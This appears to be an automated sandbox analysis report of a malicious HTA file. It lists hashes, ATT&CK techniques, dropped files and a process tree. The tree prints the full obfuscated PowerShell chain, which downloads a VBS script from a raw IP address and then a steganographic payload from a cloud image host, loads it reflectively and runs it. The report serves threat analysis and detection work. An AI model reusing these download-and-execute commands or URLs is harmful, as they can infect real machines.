96df1f20a2f78ef6665f8acdf0e9576ac4f7879ec61f5e90d1fcb2ecbb310281

Analysis

max time kernel
46s
max time network
49s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20-12-2024 15:03

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General

Target

mniscreenthinkinggoodforentiretimegoodfotbusubessthings.hta
Size

15KB
MD5

4d74c4d1eddb79b92e94ef09f3437eaa
SHA1

f7add01e161ef9b7093cf672afe052648dd457da
SHA256

96df1f20a2f78ef6665f8acdf0e9576ac4f7879ec61f5e90d1fcb2ecbb310281
SHA512

bf4616e208b0b17c382df381eacaf3bccce0bb70311ca730a6316881cbe3b2f81494ec99e32d4dc8546556dbb487b9f3ac5b836c04e34d343053358a601a36f3
SSDEEP

48:3EsYcJaFxYcJeMilzHIM7py4U2b6poz10daCa/bfUTTiuYcJFAVOPG:0LfgtlzF82bPpTTxg+

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2216	powershell.exe
6	2684	powershell.exe
8	2684	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2216	powershell.exe
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 1904	2284	mshta.exe	30
PID 2284 wrote to memory of 1904	2284	mshta.exe	30
PID 2284 wrote to memory of 1904	2284	mshta.exe	30
PID 2284 wrote to memory of 1904	2284	mshta.exe	30
PID 1904 wrote to memory of 2216	1904	cmd.exe	32
PID 1904 wrote to memory of 2216	1904	cmd.exe	32
PID 1904 wrote to memory of 2216	1904	cmd.exe	32
PID 1904 wrote to memory of 2216	1904	cmd.exe	32
PID 2216 wrote to memory of 2780	2216	powershell.exe	34
PID 2216 wrote to memory of 2780	2216	powershell.exe	34
PID 2216 wrote to memory of 2780	2216	powershell.exe	34
PID 2216 wrote to memory of 2780	2216	powershell.exe	34
PID 2780 wrote to memory of 1948	2780	csc.exe	35
PID 2780 wrote to memory of 1948	2780	csc.exe	35
PID 2780 wrote to memory of 1948	2780	csc.exe	35
PID 2780 wrote to memory of 1948	2780	csc.exe	35
PID 2216 wrote to memory of 2640	2216	powershell.exe	37
PID 2216 wrote to memory of 2640	2216	powershell.exe	37
PID 2216 wrote to memory of 2640	2216	powershell.exe	37
PID 2216 wrote to memory of 2640	2216	powershell.exe	37
PID 2640 wrote to memory of 2684	2640	WScript.exe	38
PID 2640 wrote to memory of 2684	2640	WScript.exe	38
PID 2640 wrote to memory of 2684	2640	WScript.exe	38
PID 2640 wrote to memory of 2684	2640	WScript.exe	38

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mniscreenthinkinggoodforentiretimegoodfotbusubessthings.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWErshELl -Ex byPaSs -Nop -w 1 -c DeVICECReDenTIAldEPloYMEnt ; inVOKE-eXPRESsion($(iNVOkE-exPrEssIon('[SYsTem.TeXt.EnCOdING]'+[char]58+[char]0X3a+'utf8.GEtSTrIng([SYSTEM.conveRT]'+[cHar]0X3A+[CHaR]58+'fROMbaSE64strIng('+[CHAr]34+'JDh3TTJ1VkQzTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UeXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRUZJTklUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpaZFBhRk1ERXlMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCUHNGc2JTUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlWWhZLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoRmJDZCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVFZBaVRZeHAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lc3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdXpGVHJGRWwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkOHdNMnVWRDNNOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNTcuMTI5LjU1LjIyNS8yMjUvZWNvbm9taWN0aGluZ3NhcmVnb2luZ2Fyb3VuZHdpdGhodXNiYW5kd2l0aGdvb2RuZXdzZ3JlYXRmb3JldmVyeWJvZHlnaXZlbi50SUYiLCIkZU5WOkFQUERBVEFcZWNvbm9taWN0aGluZ3NhcmVnb2luZ2Fyb3VuZHdpdGhodXNiYW5kd2l0aGdvb2RuZS52YnMiLDAsMCk7U3RBclQtU0xlRVAoMyk7aW5Wb0tFLUVYcHJlU3NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxlY29ub21pY3RoaW5nc2FyZWdvaW5nYXJvdW5kd2l0aGh1c2JhbmR3aXRoZ29vZG5lLnZicyI='+[ChaR]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWErshELl -Ex byPaSs -Nop -w 1 -c DeVICECReDenTIAldEPloYMEnt ; inVOKE-eXPRESsion($(iNVOkE-exPrEssIon('[SYsTem.TeXt.EnCOdING]'+[char]58+[char]0X3a+'utf8.GEtSTrIng([SYSTEM.conveRT]'+[cHar]0X3A+[CHaR]58+'fROMbaSE64strIng('+[CHAr]34+'JDh3TTJ1VkQzTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UeXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRUZJTklUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpaZFBhRk1ERXlMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCUHNGc2JTUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlWWhZLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoRmJDZCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVFZBaVRZeHAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lc3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdXpGVHJGRWwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkOHdNMnVWRDNNOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNTcuMTI5LjU1LjIyNS8yMjUvZWNvbm9taWN0aGluZ3NhcmVnb2luZ2Fyb3VuZHdpdGhodXNiYW5kd2l0aGdvb2RuZXdzZ3JlYXRmb3JldmVyeWJvZHlnaXZlbi50SUYiLCIkZU5WOkFQUERBVEFcZWNvbm9taWN0aGluZ3NhcmVnb2luZ2Fyb3VuZHdpdGhodXNiYW5kd2l0aGdvb2RuZS52YnMiLDAsMCk7U3RBclQtU0xlRVAoMyk7aW5Wb0tFLUVYcHJlU3NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxlY29ub21pY3RoaW5nc2FyZWdvaW5nYXJvdW5kd2l0aGh1c2JhbmR3aXRoZ29vZG5lLnZicyI='+[ChaR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e_ulus43.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2780
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD9CC.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD9CB.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1948
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\economicthingsaregoingaroundwithhusbandwithgoodne.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$antisiphonal = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$orlage = New-Object System.Net.WebClient;$centralised = $orlage.DownloadData($antisiphonal);$slanshacks = [System.Text.Encoding]::UTF8.GetString($centralised);$commends = '<<BASE64_START>>';$Lemaitre = '<<BASE64_END>>';$ependymis = $slanshacks.IndexOf($commends);$transcolation = $slanshacks.IndexOf($Lemaitre);$ependymis -ge 0 -and $transcolation -gt $ependymis;$ependymis += $commends.Length;$scribblage = $transcolation - $ependymis;$dorsolumbar = $slanshacks.Substring($ependymis, $scribblage);$keltologist = -join ($dorsolumbar.ToCharArray() | ForEach-Object { $_ })[-1..-($dorsolumbar.Length)];$carinately = [System.Convert]::FromBase64String($keltologist);$brite = [System.Reflection.Assembly]::Load($carinately);$helygia = [dnlib.IO.Home].GetMethod('VAI');$helygia.Invoke($null, @('0/qvVum/r/ee.etsap//:sptth', 'creance', 'creance', 'creance', 'CasPol', 'creance', 'creance','creance','creance','creance','creance','creance','1','creance','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabF72D.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

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C:\Users\Admin\AppData\Local\Temp\RESD9CC.tmp

Filesize
1KB

MD5
faed65940422721f88a39f7bcb194d5f

SHA1
1742e7c1dcfe427c6b2f6485e5648593759c5d46

SHA256
09ba8b7d8c9e80b6f8105029c919d26a4de9b465f214dbaa7a940e973f2cc014

SHA512
51795924a858f0612ab95f4dacd30502db50b49424772685f259c21a6256cbdffce14dcd9e321b7c249c95b68dbd7e1f24301b6323503ae2020aa6e80280fafa

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C:\Users\Admin\AppData\Local\Temp\TarF76E.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\e_ulus43.dll

Filesize
3KB

MD5
30ff3d787ddbe70e1b812386db80e1e2

SHA1
0b07e5fcfdfc2e765a208f069dc5c3cb4984df7c

SHA256
5d4ea46e781957b82fb561ce85e9d930c58f7fe45ea40af5633f18517cc5be08

SHA512
c8ab8eff9d651555bb8628c4997a90452e6c389ccd782ac9a3c96dff0f58d205542874a911e85831f1cc68dacec0445be699a354ce67bbfaf3a0504ee0d5e66d

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C:\Users\Admin\AppData\Local\Temp\e_ulus43.pdb

Filesize
7KB

MD5
a9655651ca757ca5004697005c55afb9

SHA1
ec665f7206f706bb218eac7c65a18e2d3a5a02d9

SHA256
fea524495f9fddd4a94af21c2c44f7833414cc301b7f738df5e56e1a71835ff0

SHA512
d2ed5b9402a904041f8263d2ab71110b31c2c68c0f8430b973f262c7cf3cb670c7b1ee085e502d24d0242e6bfee25ddb5378db10159daf44b1976e2196723df6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
a22745258b16bde393299483ad942dbe

SHA1
22b1cd1bfa7c899ed39487bf92459355bfe3668e

SHA256
66627686d2dac1e31a2f15027a79278c68134cdb10f9e2f12be3a4584277bb6a

SHA512
886e181f4a87417290d745469835b1b5c366dbee1a632997f42bdd206be08d73f826de4b013d35ba846557c8d987e0faae5519c5e0e9673d215af5c5fc8357fb

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C:\Users\Admin\AppData\Roaming\economicthingsaregoingaroundwithhusbandwithgoodne.vbs

Filesize
212KB

MD5
7f54fcc18cf1595a91bcf1c61df774cf

SHA1
298fae69662e298ac46e0e1be5fc679a0f527c22

SHA256
891e95aa7d15515df54f91606a27711c7c6bce4be800f6317e5f58843b0ecfb7

SHA512
3c368045ebe048ee7e8972e6dcaf92f60772c75a1a2d5cdaae7e6048aac8b7cb8fd266c6632b9b7ff17598162600ba517a71b4c9b90d564e0e7c4ebe193ed3ba

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCD9CB.tmp

Filesize
652B

MD5
cbdf1b15b0a411031e37ac5d823f03ec

SHA1
e0a1129dacc1b985b4c76fb6763325e51384ab96

SHA256
6ef5531b0343af36673bef7fb98e8e1fd8ce93847cd71ca0dfea4029ea0b61fd

SHA512
0f9f0155ca04dbb69e28f849c76fe79a8864b6fa2fb11f371464c5582263e26eeb46660453c4a1f842454815bc95eace0e2625cbf1e2f97499dcbdc76e50586f

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\??\c:\Users\Admin\AppData\Local\Temp\e_ulus43.0.cs

Filesize
485B

MD5
b35ae42c67ac0de0078975c9c8744c14

SHA1
f85c1973cdf038ad851324c9c021d6b7cdb1db28

SHA256
3c45043d7ae00b5a57d1c20a68cbf81fe37151ed53e2ecd11a7d87ca4cec6442

SHA512
52e314313cab6577ad9592120009a35b61b2b00d2452ebd627cf5cd7d6e1dfe9cc94cb5dfa5b306867f6823f60bdffe24214b53ba1fc379c10e2908795bf05c5

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\??\c:\Users\Admin\AppData\Local\Temp\e_ulus43.cmdline

Filesize
309B

MD5
044382a61ffcd3ccff70144615e39583

SHA1
4c997a6d75a9b48ff4e981964ca0ac19e70d4325

SHA256
988a56c21d6252223c56a3bc2c2eaa73099aef6a8be07a573d150074b9eb89ca

SHA512
5b5f34a8ee4054039cd1761d50e13fe759ba0628064f22825ce23b9640264c6c5d07694a8ad59bc200370176e55bf3ceacf350fdb182e84fbfd8443f43872bc1

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